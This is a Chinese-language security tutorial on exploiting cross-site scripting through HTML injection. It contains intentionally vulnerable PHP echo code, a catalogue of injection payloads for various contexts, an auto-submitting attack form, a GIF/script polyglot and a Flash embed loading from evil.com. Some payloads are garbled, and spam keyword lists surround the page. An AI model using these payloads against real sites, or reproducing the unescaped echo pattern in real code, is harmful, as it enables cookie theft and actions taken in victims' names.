成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

跨站腳本攻擊深入解析之:漏洞利用過(guò)程

原創(chuàng)
安全
在本文的上篇中,我們?cè)敿?xì)介紹了當(dāng)前Web應(yīng)用所采取的安全措施,如同源策略、cookie安全模型以及Flash的安全模型;而本文將介紹跨站腳本漏洞利用的過(guò)程,并對(duì)HTML注入進(jìn)行深入分析。

【51CTO.COM 獨(dú)家特稿】跨站腳本的名稱(chēng)源自于這樣一個(gè)事實(shí),即一個(gè)Web站點(diǎn)(或者人)可以把他們的選擇的代碼越過(guò)安全邊界線注射到另一個(gè)不同的、有漏洞的Web 站點(diǎn)中。當(dāng)這些注入的代碼作為目標(biāo)站點(diǎn)的代碼在受害者的瀏覽器中執(zhí)行時(shí),攻擊者就能竊取相應(yīng)的敏感數(shù)據(jù),并強(qiáng)迫用戶做一些用戶非本意的事情。

在本文的上篇中,我們?cè)敿?xì)介紹了當(dāng)前Web應(yīng)用所采取的安全措施,如同源策略、cookie安全模型以及Flash的安全模型;而本文將介紹跨站腳本漏洞利用的過(guò)程,并對(duì)HTML注入進(jìn)行深入分析。

一、跨站腳本漏洞利用的過(guò)程

現(xiàn)在,您已經(jīng)熟悉了瀏覽器中的各種安全技術(shù),下面我們開(kāi)始設(shè)法利用XSS規(guī)避這些安全技術(shù)。XSS的主要目標(biāo)是通過(guò)把攻擊者選擇的JavaScript、VBScript或者其它為瀏覽器所接受的腳本語(yǔ)言注入到(放進(jìn))某些Web應(yīng)用程序之中。只要攻擊者可以將腳本植入有弱點(diǎn)的Web應(yīng)用程序中的任何地方,瀏覽器就會(huì)認(rèn)為這個(gè)腳本是來(lái)自該有弱點(diǎn)的Web應(yīng)用程序,而非非出自攻擊者之手。

這樣的話,該腳本就能夠在這個(gè)有弱點(diǎn)的Web應(yīng)用程序的域中運(yùn)行了,并能進(jìn)行下列活動(dòng):有權(quán)讀取那個(gè)有弱點(diǎn)的Web應(yīng)用程序使用的Cookie;能夠看到該有弱點(diǎn)的Web應(yīng)用程序提供的頁(yè)面的內(nèi)容,甚至能將它們發(fā)送給黑客;改變有弱點(diǎn)的Web應(yīng)用程序的外觀;回調(diào)運(yùn)行有弱點(diǎn)的Web應(yīng)用程序的服務(wù)器。

大體上,跨站點(diǎn)腳本攻擊可以分為三步進(jìn)行

1.HTML注入。我們將介紹把腳本注入到Web應(yīng)用程序的各種可能的方法。所有HTML注入范例只是注入一個(gè)JavaScript彈出式的警告框:a_lert(1)。

2.做壞事。如果您覺(jué)得警告框還不夠刺激,我們將討論當(dāng)受害者點(diǎn)擊了一個(gè)被注入了HTML代碼的頁(yè)面鏈接時(shí)攻擊者能作的各種的惡意事情。

3.誘捕受害者。我們論述如何強(qiáng)制或者誘使受害者執(zhí)行惡意JavaScript代碼。

一、HTML注入簡(jiǎn)介

將HTML和(更為重要的)腳本代碼注入Web應(yīng)用程序的方法簡(jiǎn)直太多了。如果某個(gè)Web應(yīng)用程序的HTTP響應(yīng)中“照搬”了在HTTP請(qǐng)求中輸入的內(nèi)容,例如尖括號(hào)、圓括號(hào)、句號(hào)、等號(hào)等,那么說(shuō)明這個(gè)Web應(yīng)用程序和域具有HTML注入漏洞,并且該漏洞十有八九可以用于XSS。

本節(jié)將為讀者介紹最常見(jiàn)的HTML注入方法,但是無(wú)法包括所有方法,因?yàn)檫@些方法是在太多了。對(duì)于大多數(shù)小型至中型的網(wǎng)站來(lái)說(shuō),這些技術(shù)很可能仍然奏效。只要有耐心,那么您或許也能夠使用其中的一種技術(shù)成功應(yīng)用于一個(gè)大型Web站點(diǎn)。

下面我們將分門(mén)別類(lèi)的介紹各種注入方法。

二、傳統(tǒng)的反射式和存儲(chǔ)式HTML注入

傳統(tǒng)的XSS攻擊是一種反射式的HTML注入攻擊,借此,一個(gè)Web應(yīng)用程序接受在HTTP請(qǐng)求中的用戶輸入。該Web應(yīng)用程序會(huì)返回一個(gè)HTTP響應(yīng),其主體中將包含原封不動(dòng)的用戶輸入。如果該服務(wù)器的響應(yīng)跟用戶的原始輸入完全一致,那么這些用戶輸入就會(huì)被瀏覽器當(dāng)作有效的HTML、VBScript或者JavaScript進(jìn)行解釋。考慮下列的服務(wù)器端的PHP代碼:

< html >
< body >
< ?php
if (isset($_GET{'UserInput'})){
$out = '您輸入的內(nèi)容為: "' . $_GET{'UserInput'} . '".';
} else {
$out = '< form method=”GET”>請(qǐng)?jiān)诖溯斎雰?nèi)容: ';
$out .= '< input name="UserInput" size="50" >';
$out .= '< input type="submit" >';
$out .= '< /form >';
}
print $out;
? >
< /body >
< /html >

圖1展示了這段代碼放置到http://publicpages.daxue.edu/~someuser/MyPhp.php上后,客戶端看到的頁(yè)面內(nèi)容。

圖1 一個(gè)簡(jiǎn)單的PHP腳本,用以接收用戶輸入(MyPhp.php)

當(dāng)用戶點(diǎn)擊“提交查詢”按鈕時(shí),就會(huì)生成下列GET請(qǐng)求:

http://public-pages.daxue.edu/~someuser/MyPhp.php?input=hahaha

這個(gè)PHP應(yīng)用程序看到用戶輸入的“hahaha”后,將響應(yīng)一個(gè)頁(yè)面,如圖2所示。

圖2 用戶輸入“hahaha”后MyPhp.php回復(fù)的響應(yīng)

下面顯示的是圖2中看到的頁(yè)面的HTML 源代碼,為醒目起見(jiàn)用戶輸入的內(nèi)容這里以藍(lán)色字體顯示。

您輸入的內(nèi)容為: "hahaha".

#p#

注意,實(shí)際上這里用戶可以輸入任何東西,例如〈 script 〉 a_lert( 1 )〈 / script 〉、〈 body onload = a_lert( 1 ) 〉、〈 img src = x onerror = a_lert( 1 ) 〉 或別的東西來(lái)把JavaScript代碼注入到該頁(yè)面。如果輸入 的話,將向服務(wù)器發(fā)送下列GET請(qǐng)求:

http://publicpages.daxue.edu/~someuser/MyPhp.php?input=

如前所述,這個(gè)PHP應(yīng)用程序只是把用戶輸入放到返回的響應(yīng)頁(yè)面中。這時(shí)候?yàn)g覽器會(huì)把這些用戶輸入的內(nèi)容當(dāng)作JavaScript指令,同時(shí)認(rèn)為該腳本來(lái)自服務(wù)器,這可真是應(yīng)了那句老話“拿著雞毛當(dāng)令箭”了,所以瀏覽器就會(huì)執(zhí)行這些JavaScript代碼。圖3展示了用戶看到的樣子。

圖3 用戶輸入“ ”后MyPhp.php回復(fù)的響應(yīng)

上圖中顯示的頁(yè)面的源代碼如下所示,其中用戶輸入用藍(lán)色字體表示。

您輸入的內(nèi)容為: " ".

這是將 注入http://public-pages.daxue.edu/~someuser/MyPhp.php得到的結(jié)果。這個(gè)例子是一種典型的反射式的HTML注入,因?yàn)橛脩粼贖TTP請(qǐng)求中發(fā)送JavaScript代碼,同時(shí)Web應(yīng)用程序立即響應(yīng)(反射回)一個(gè)完全相同的JavaScript代碼。只要用戶單擊了下列鏈接,這個(gè)腳本就會(huì)執(zhí)行:

http://publicpages.daxue.edu/~someuser/MyPhp.php?input=

從攻擊者的角度來(lái)看,利用注入的ML代碼讓惡意的web頁(yè)面完成單擊或者指定次數(shù)的點(diǎn)擊是非常重要的。假設(shè)前面的PHP應(yīng)用程序只接受POST請(qǐng)求,而不接受GET,如下所示:

< html >
< body >
< ?php
if (isset($_POST{'UserInput'})){
$out = '您輸入的內(nèi)容為: "' . $_POST{'UserInput'} . '".';
} else {
$out = '< form method="POST" >請(qǐng)?jiān)诖溯斎雰?nèi)容: ';
$out .= '< input name="UserInput" size="50" >';
$out .= '< input type="submit" >';
$out .= '< /form >';
}
print $out;
? >
< /body >
< /html >

在這種情況下,攻擊者無(wú)法像上面的GET請(qǐng)求那樣直接通過(guò)誘騙受害者點(diǎn)擊一個(gè)鏈接來(lái)注入HTML代碼;現(xiàn)在,他們必須采取一些額外的步驟。為此,攻擊者可以創(chuàng)建下列HTML頁(yè)面:

< html >
< body >
< form name="evilForm" method="POST ction="http://publicpages.
daxue.edu/~someuser/MyPhp.php">
< input type="hidden" name="input" value="〈 script 〉a_lert ( 1 )〈 / script  〉" 〉
< script >
document.evilForm.submit()
< /script >
< /body >
< /html >

當(dāng)用戶單擊了指向上述HTML頁(yè)面的鏈接時(shí),就會(huì)對(duì)http://public-pages.daxue.edu/~someuser/MyPhp.php進(jìn)行HTML注入。當(dāng)然,攻擊者也能利用HTML注入干別的壞事,而不僅僅象征性地調(diào)用一個(gè)JavaScript的彈出窗口。“第二步:做壞事”部分將解釋攻擊者除了彈出一個(gè)窗口外還能做些什么。

存儲(chǔ)式HTML注入跟反射式HTML注入非常相似,唯一區(qū)別在于攻擊者將腳本植入Web應(yīng)用程序后,這些腳本會(huì)被Web應(yīng)用程序存儲(chǔ)到一個(gè)可以檢索的地方。例如,對(duì)于允許用戶張貼和閱讀消息的網(wǎng)絡(luò)論壇,攻擊者可以在張貼消息時(shí)注入HTML代碼,然后其它用戶閱讀這則含有腳本的消息時(shí),其中的腳本就會(huì)執(zhí)行。

三、定位存儲(chǔ)式和反射式HTML注入點(diǎn)

為了尋找存儲(chǔ)式和反射式HTML注入點(diǎn),可以嘗試在所有表單輸入以及GET或者POST請(qǐng)求的所有參數(shù)中注入腳本。我們要假設(shè)參數(shù)/值對(duì)中的值都可能有漏洞。甚至嘗試在新生成的參數(shù)中注入HTML代碼,如下所示:

script 〉 a_lert ( ' parameter ' )= 不起作用,因?yàn)檫@些測(cè)試字符串并不出現(xiàn)在響應(yīng)的HTML主體區(qū)。舉例來(lái)說(shuō),假如向http://search.engine.com/search?p= 發(fā)送的這個(gè)請(qǐng)求返回的響應(yīng)中,其預(yù)填充表單字段內(nèi)是我們的HTML注入字符串,如:

遺憾的是,腳本標(biāo)簽會(huì)被作為用于表單輸入字段的字符串,所以無(wú)法執(zhí)行。相反,嘗試http://search.engine.com/search?p=”> 的話,會(huì)得到如下所示的HTML應(yīng)答:

〈 form input="text" name="p" value=",那么保不住攻擊者可以注入下列內(nèi)容:

〈 /title 〉〈script 〉 a_lert( 1 ) 〈 /script 〉

這樣一來(lái)就擺脫了title標(biāo)簽。USERINPUT3被放在一個(gè)式樣標(biāo)簽中,任何人都可以在IE中設(shè)置USERINPUT3成下面的樣子:

black; background: url( ' javascript:a_lert( 1 ) ' );

于是他就能夠在Firefox使用它了:

1: expression( a_lert( 1 ) )

同樣的,有時(shí)候用戶輸入會(huì)作為其它的標(biāo)簽的一部分出現(xiàn)在式樣參數(shù)中,如下所示:

如果您可以將USERINPUT3設(shè)為下面的值,那么就能在IE中運(yùn)行JavaScript了:

javascript : a_lert(1)

或者對(duì)于Visual Basic愛(ài)好者,可以這樣使用:

vbscript:MsgBox(1)

Firefox不接受帶有JavaScript:協(xié)議處理程序的background:url()。然而,F(xiàn)irefox允許JavaScript作為表達(dá)式來(lái)執(zhí)行,在Firefox中將USERINPUT3A設(shè)為下列值:

); 1:expression(a_lert(1)

USERINPUT4可以直接利用,只要將USERPINUT4設(shè)為:

";a_lert(1);

USERINPUT5被深深嵌入到JavaScript內(nèi)部。為了插入(確保會(huì)執(zhí)行的)a_lert(1)函數(shù),您必須把a(bǔ)_lert(1)放到所有代碼塊之外,并保證JavaScript代碼的前前后后都是合法的,如下所示:

')){}a_lert(1);if(0)

A_lert(1)之前的文本完成了原先的if語(yǔ)句,因此能確保a_lert(1)函數(shù)總是被執(zhí)行。a_lert(1)之后的文本創(chuàng)建了一個(gè)if語(yǔ)句用于剩余代碼塊,所以腳本標(biāo)簽之間的全部代碼都是合法的JavaScript代碼。如果不這樣,JavaScript就會(huì)因?yàn)檎Z(yǔ)法錯(cuò)誤而無(wú)法解釋執(zhí)行。

您可以使用一些詭計(jì)來(lái)把JavaScript注入到USERINPUT6中,例如,可以使用下面的方法:

"> < script >a_lert(1)< /script >

或者,如果不允許使用尖括號(hào),則使用一個(gè)JavaScript事件處理程序,例如onclick事件處理程序,如下所示:

" onclick="a_lert(1)

USERINPUT7 還可以是這樣:

' >< script >a_lert(1)< /script >

或者:

' style='x: expression( a_lert ( 1 ) )

甚至更簡(jiǎn)單一些:

javascript: a_lert( 1 )

對(duì)于USERINPUT7的前兩條利用方法能保證腳本在裝入頁(yè)面時(shí)執(zhí)行,最后一種方法要求用戶單擊鏈接。您可以把它們都試一遍,看看是不是在某些情況下有些字符和字符串是不允許的。

USERINPUT8也面臨類(lèi)似的HTML注入字符串。下面是使用事件處理程序的最佳方式:

notThere' onerror='a_lert( 1 )

XSS防御方法通常是對(duì)具有潛在惡意性的字符進(jìn)行轉(zhuǎn)義或者編碼。舉例來(lái)說(shuō),如果用戶輸入 到一個(gè)文本字段,服務(wù)器可能以下列轉(zhuǎn)義后的字符串作為響應(yīng):

根據(jù)轉(zhuǎn)義后的字符串的所在位置,這些字符串將以本來(lái)面目出現(xiàn)并且不會(huì)執(zhí)行。轉(zhuǎn)義方法比較復(fù)雜,所以將在后面的對(duì)抗措施中加以詳細(xì)討論。大多數(shù)轉(zhuǎn)義例程不是忘記對(duì)具有潛在惡意性的字符和字符串進(jìn)行轉(zhuǎn)義,就是使用了錯(cuò)誤的編碼方法進(jìn)行換碼。例如USERINPUT9,其事件處理程序把HTML實(shí)體編碼為ASCII,所以任何人可以用下列兩個(gè)字符串上演相同的攻擊:

x'); a_lert ( 1 );

以及:

x'); a_lert( 1 )

最后,USERINPUT10可以用事件處理程序利用,并突破輸入標(biāo)簽,例子如下所示:

x onclick= a_lert ( 1 )

這個(gè)例子說(shuō)明,用戶提供的字符串可以放到HTTP應(yīng)答中的任何地方,看來(lái)真是一切皆有可能呀!

如果您在任何前面的實(shí)例中成功進(jìn)行了HTML注入,那么該HTML注入就可用于在那個(gè)域上的任何地方的XSS。您可以用多種不同的方法來(lái)向Web應(yīng)用程序注入JavaScript。如果你的嘗試曾經(jīng)導(dǎo)致頁(yè)面格式被破壞,諸如截?cái)囗?yè)面、顯示了除您注入以外的腳本,那么很可能就是找到了一個(gè)XSS漏洞。

四、重定向器中的反射式HTML注入

HTML注入的另一個(gè)大舞臺(tái)是重定向器。有些重定向器允許用戶重定向到任何URL。 遺憾的是,JavaScript:a_lert(1)是一個(gè)合法的URL。許多重定向器會(huì)對(duì)URL進(jìn)行解析,以確定重定向到那里是否安全。這些解析器以及他們的程序員并不總是人們想象的那么聰明,所以像下面的URL:

javascript://www.anywhere.com/%0da_lert( 1 )

以及這個(gè):

javascript://http://www.trustedsite.com/trustedDirectory/%0da_lert( 1 )

可能被接受。在上面的例子中,任何字符串都可以放置在JavaScript注解所用的雙斜杠之間以及URL編碼的換行符(%0d)之間。#p#

五、移動(dòng)式應(yīng)用中的HTML注入

有些流行的Web應(yīng)用程序被移植到移動(dòng)通信領(lǐng)域。這些移動(dòng)式應(yīng)用一般具有相同的功能,但是安全特性更差,并且仍然可以通過(guò)諸如IE 以及Firefox之類(lèi)的瀏覽器進(jìn)行訪問(wèn)。 因此,它們是HTML注入攻擊以及跨站請(qǐng)求偽造的理想攻擊目標(biāo)。

通常情況下,移動(dòng)式應(yīng)用作為主要的Web應(yīng)用程序運(yùn)行在相同的域上,因此移動(dòng)式應(yīng)用中的任何HTML注入都能夠訪問(wèn)整個(gè)域,包括運(yùn)行在該域上的主要的Web應(yīng)用程序或者其它的Web應(yīng)用程序。

六、在Ajax響應(yīng)以及錯(cuò)誤信息中的HTML注入

并非所有HTTP應(yīng)答都會(huì)顯示給用戶。類(lèi)似AJAX響應(yīng)以及超文本傳輸協(xié)議(http)錯(cuò)誤消息這些頁(yè)面通常會(huì)被開(kāi)發(fā)人員所忽視。開(kāi)發(fā)人員可能沒(méi)有考慮為AJAX響應(yīng)提供HTML注入保護(hù),因?yàn)檫@些請(qǐng)求通常不是由用戶直接使用的。然而,攻擊者可以用先前的代碼片斷模仿AJAX的GET以及POST請(qǐng)求。

同樣的,超文本傳輸協(xié)議(http)錯(cuò)誤響應(yīng),諸如HTTP 404(Not Found)、HTTP 502(Server Error)等等,通常也會(huì)被開(kāi)發(fā)人員所忽略。開(kāi)發(fā)人員傾向于假定一切都是HTTP 200(OK)。您可以嘗試觸發(fā)其它的響應(yīng),而非僅僅HTTP 200,然后試著注入腳本。

七、使用UTF-7編碼進(jìn)行HTML注入

如果用戶的IE自動(dòng)選擇編碼集,那么攻擊者就能規(guī)避大多數(shù)HTML注入預(yù)防措施。就像前面提到的那樣,HTML注入的預(yù)防措施一般依賴于對(duì)潛在的有害字符進(jìn)行轉(zhuǎn)義處理。然而,UTF-7編碼技術(shù)使用了無(wú)法正常轉(zhuǎn)義的通用字符,而這些通用字符有時(shí)無(wú)法被某些Web應(yīng)用程序進(jìn)行換碼。 的UTF-7轉(zhuǎn)義版本將是下面的樣子:

+ADw-script+AD4-a_lert(1)+ADw-/script+AD4-

注意,這是一種不常見(jiàn)的攻擊,因?yàn)橛脩粢话悴粫?huì)打開(kāi)自動(dòng)選擇編碼技術(shù)選項(xiàng)。當(dāng)然,也存在其他的利用字符編碼可變長(zhǎng)度的UTF編碼攻擊技術(shù),但是這要求對(duì)UTF有著深入廣泛的理解,所以它超出了本文的討論范圍。然而,這個(gè)問(wèn)題說(shuō)明其它編碼(例如MIME類(lèi)型)的疏漏也是能引起HTML注入的。

八、利用MIME 類(lèi)型不匹配來(lái)進(jìn)行HTML注入

IE具有許多令人驚訝的未公開(kāi)特性,例如,IE7 以及之前的版本嘗試加載一個(gè)圖像或者其它的非HTML的響應(yīng)并且失敗時(shí),它會(huì)將該響應(yīng)作為HTML對(duì)待。為了弄明白這個(gè)情況,我們可以創(chuàng)建一個(gè)文本文件,并包含下列內(nèi)容:

之后,將其保存為alert.jpg,然后在IE的URL地址欄中或一個(gè)iframe中裝載的這個(gè)“圖像”,這就會(huì)導(dǎo)致這里的JavaScript被執(zhí)行。
注意,如果該文件是從一個(gè)圖像標(biāo)簽加載的話,它就不會(huì)作為腳本執(zhí)行了。

一般說(shuō)來(lái),當(dāng)您試圖上載這樣的一個(gè)文件到一個(gè)圖像托管服務(wù)時(shí),該服務(wù)將拒絕這個(gè)文件,因?yàn)樗揪筒皇且粋€(gè)圖像。但是圖像托管服務(wù)通常情況下會(huì)忽視文件的擴(kuò)展名,而只通過(guò)文件的幻數(shù)(開(kāi)始幾個(gè)字節(jié))來(lái)確定文件類(lèi)型。

因此,攻擊者可以避開(kāi)它,方法是用GIF注釋中的HTML來(lái)創(chuàng)建一個(gè)GIF圖像,然后將這個(gè)GIF保存為.jpg文件擴(kuò)展名的文件。下面是一個(gè)單像素的GIF文件,如下所示:

00000000 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff |GIF89a..........|

00000010 ff ff ff 21 fe 19 3c 73 63 72 69 70 74 3e 61 6c |...!.. .|

00000030 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b |,...........D..;|

將其命名為test.jpg,并在IE中加載它,這會(huì)導(dǎo)致執(zhí)行這段JavaScript。這也是注入Flash跨域政策的一種好方法。只要把Flash安全策略的XML內(nèi)容放入GIF注釋?zhuān)⒈WC這個(gè)GIF文件不包含擴(kuò)展的ASCII字符或者字節(jié)NULL即可。您還可以把HTML注入到未壓縮的圖像文件(諸如XPM以及BMP文件)的圖像數(shù)據(jù)部分,而不是注解中。

九、使用Flash進(jìn)行HTML注入

在大多數(shù)HTML注入情形中,攻擊者可以注入任意的HTML。舉例來(lái)說(shuō),攻擊可以注入一個(gè)對(duì)象和/或嵌入一個(gè)標(biāo)簽來(lái)加載該域上的Flash應(yīng)用程序。 下面是一個(gè)例子:

src="http://evil.com/evil.swf" width="1" height="1">

這里的HTML有些繁瑣,但是它將JavaScript應(yīng)用程序具有的控制權(quán)賦予一個(gè)Flash應(yīng)用程序,例如(經(jīng)過(guò)ExternalInterface類(lèi))讀取Cookie、(經(jīng)過(guò)ExternalInterface類(lèi))改變web頁(yè)面外觀、(經(jīng)過(guò)XML類(lèi))讀取用戶私人數(shù)據(jù)以及(經(jīng)過(guò)XML類(lèi))以受害者的名義建立HTTP請(qǐng)求。

然而,F(xiàn)lash應(yīng)用程序有時(shí)候會(huì)提供更多的功能。例如,flash應(yīng)用程序可以通過(guò)Socket類(lèi)創(chuàng)建原始的套按字連接。這允許攻擊者構(gòu)造他們的完整的HTTP數(shù)據(jù)包(包括通過(guò)ExternalInterface類(lèi)竊取Cookie)或者連接到電腦允許的其它端口上。

注意,Socket連接只能建立到達(dá)惡意腳本所源自的域的連接,除非攻擊者為完成攻擊還反射了一個(gè)不安全的跨域策略文件。

有些開(kāi)發(fā)人員通過(guò)把響應(yīng)的MIME類(lèi)型設(shè)置為text/plain或者除text /html以外的任何東西來(lái)防止AJAX響應(yīng)被注入HTML。HTML注入將無(wú)法進(jìn)行,因?yàn)闉g覽器不會(huì)把響應(yīng)解釋為HTML。然而,F(xiàn)lash并不關(guān)心跨域策略文件是哪種MIME類(lèi)型,所以攻擊者有可能使用AJAX響應(yīng)來(lái)反射一個(gè)不安全的跨域策略文件。

這允許惡意的Flash應(yīng)用程序以受害者名義向有弱點(diǎn)的Web應(yīng)用程序發(fā)送請(qǐng)求,讀取該域上的任意的頁(yè)面,并創(chuàng)建到達(dá)該域的套按字連接。這種類(lèi)型的攻擊的威脅相對(duì)較弱,因?yàn)閻阂獾腇lash應(yīng)用程序不能竊取Cookie(但是它仍然可以以用戶的名義來(lái)完成任何動(dòng)作),而且它不能在受害的用戶前模仿成應(yīng)用程序,除非惡意的Flash應(yīng)用程序?qū)⒂脩糁囟ㄏ虻揭粋€(gè)攻擊者控制下的域。

然而,到目前為止,HTML注入所能做的最邪惡的事情還是在受害用戶目前把自己裝扮成Web應(yīng)用程序,當(dāng)然,通過(guò)其它方法也可以達(dá)到此目的,比如反射一個(gè)不安全的跨域策略文件,并使用ActionScript的XML類(lèi)發(fā)送HTTP的GET和POST請(qǐng)求并且讀取響應(yīng)。 在下一節(jié)中,我們描述攻擊是如何作惡的。

十、結(jié)束語(yǔ)

在瀏覽器中已經(jīng)建立了一些安全措施——即同源策略和Cookie安全模型。此外,一些瀏覽器插件,諸如Flash Player、Outlook Express 以及Acrobat Reader等,帶來(lái)了更多的安全問(wèn)題和安全措施。然而,如果攻擊者可以強(qiáng)迫用戶執(zhí)行源自特定域的JavaScript的話,這些額外的安全措施總是傾向于削弱同源策略的力量。

跨站點(diǎn)腳本攻擊(XSS)技術(shù)能夠強(qiáng)迫用戶執(zhí)行攻擊者以受害者名義在某個(gè)域上選擇的腳本,如JavaScript、VBScript、ActionScript,等等。XSS要求某個(gè)域上的Web應(yīng)用程序能夠提供(即供應(yīng)、返回)被攻擊者所控制的字符。

因此,攻擊者可以向頁(yè)面注入代碼,而這些代碼將來(lái)會(huì)在這個(gè)有弱點(diǎn)的域的上下文中執(zhí)行。而本文將介紹跨站腳本漏洞利用的過(guò)程,并對(duì)HTML注入進(jìn)行深入分析;我們將在下篇中詳細(xì)介紹跨站腳本的危害,以及攻擊者是如何誘騙受害者的,以及針對(duì)跨站腳本攻擊的防御措施。

【51CTO.COM 獨(dú)家特稿,轉(zhuǎn)載請(qǐng)注明出處及作者!】

責(zé)任編輯:安泉 來(lái)源: 51CTO.com
相關(guān)推薦

2009-03-09 17:19:53

2010-06-07 20:19:49

2020-12-21 09:40:06

腳本攻擊XSS漏洞

2009-02-24 17:19:38

2012-11-15 09:51:36

2017-06-14 16:08:31

2012-04-12 14:45:13

2010-09-27 17:37:10

2013-01-11 17:33:46

2010-09-10 10:57:33

2010-06-30 16:26:05

2010-09-10 14:13:11

2010-09-09 11:19:10

2009-10-23 13:08:23

2023-06-15 12:26:32

2010-04-26 16:42:09

淘寶網(wǎng)安全漏洞

2015-02-01 09:26:10

2009-10-27 15:21:04

2009-10-27 15:09:04

2014-11-27 09:26:23

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

主站蜘蛛池模板: 精品国产乱码一区二区三 | 日韩在线小视频 | 精品一区二区三区中文字幕 | 日本成人一区二区 | 九九久久久久久 | 色综合视频 | 久久69精品久久久久久久电影好 | 国产一级毛片精品完整视频版 | 欧美精品在线看 | 国产日韩一区二区三区 | av网站免费观看 | 欧美一区二区三区在线 | 久久中文视频 | 国产精品污www一区二区三区 | 一区二区三区国产好 | 视频一区二区中文字幕日韩 | a级黄色片在线观看 | 一级毛片免费完整视频 | 国产精品久久网 | 伊人色综合久久久天天蜜桃 | 蜜臀网| 国产一区二区小视频 | 久久久精品网站 | 午夜日韩精品 | 在线成人免费视频 | 一区二区精品在线 | 日韩欧美亚洲 | 一区二区三区精品视频 | 高清国产一区二区 | 在线播放第一页 | 精品一区二区三区免费视频 | 在线亚洲欧美 | 午夜免费 | 免费黄色av| 日韩精品成人 | 欧美free性| 欧美二区乱c黑人 | 欧美日韩视频在线播放 | 激情 一区 | 久草欧美视频 | 在线看亚洲|